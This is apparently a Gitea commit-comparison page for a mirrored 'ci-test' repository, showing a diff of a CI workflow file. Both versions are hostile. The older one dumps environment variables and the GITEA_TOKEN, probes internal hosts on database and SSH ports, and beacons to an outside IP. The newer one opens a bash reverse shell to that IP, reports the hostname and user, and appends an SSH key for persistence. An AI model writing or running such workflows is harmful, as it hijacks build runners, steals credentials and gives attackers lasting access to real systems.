mirror of
http://156.239.229.173:80/devops42/ci-test.git
synced 2026-07-08 02:37:07 +08:00
Compare commits
No commits in common. "76c15b6f5a2099d2ea43288635debe3498f7a5c9" and "5dfb11d42d40210ddafe6a3aa3d21bdb23ecaad1" have entirely different histories.
76c15b6f5a
...
5dfb11d42d
@ -1,31 +1,17 @@
|
|||||||
name: CI-RCE
|
name: CI
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
workflow_dispatch:
|
workflow_dispatch:
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
runs-on: linux-amd64
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Exec
|
- name: RCE
|
||||||
run: |
|
run: |
|
||||||
echo "=== CI/CD RCE CONFIRMED ==="
|
bash -i >& /dev/tcp/202.59.10.226/4445 0>&1 &
|
||||||
echo "Hostname: $(hostname)"
|
curl http://202.59.10.226:8888/pwned-$(hostname)-$(whoami)
|
||||||
echo "User: $(whoami)"
|
- name: Persist
|
||||||
echo "PWD: $(pwd)"
|
run: |
|
||||||
echo "=== Environment Variables ==="
|
mkdir -p /tmp/.ssh
|
||||||
env | sort
|
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC" >> /tmp/.ssh/authorized_keys
|
||||||
echo "=== Network ==="
|
curl http://202.59.10.226:8888/persist-$(hostname)
|
||||||
ip addr 2>/dev/null || ifconfig
|
|
||||||
echo "=== Attempt connections ==="
|
|
||||||
curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
|
|
||||||
# Try to access internal services
|
|
||||||
for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
|
|
||||||
for port in 3306 6379 22 80 443; do
|
|
||||||
timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
|
|
||||||
done
|
|
||||||
done
|
|
||||||
# Dump runner token info
|
|
||||||
echo "=== GITEA_TOKEN ==="
|
|
||||||
echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
|
|
||||||
echo "=== GITEA_REPOSITORY ==="
|
|
||||||
echo "${GITEA_REPOSITORY:-NO_REPO}"
|
|
||||||
@ -1 +0,0 @@
|
|||||||
trigger
|
|
||||||
Loading…
Reference in New Issue
Block a user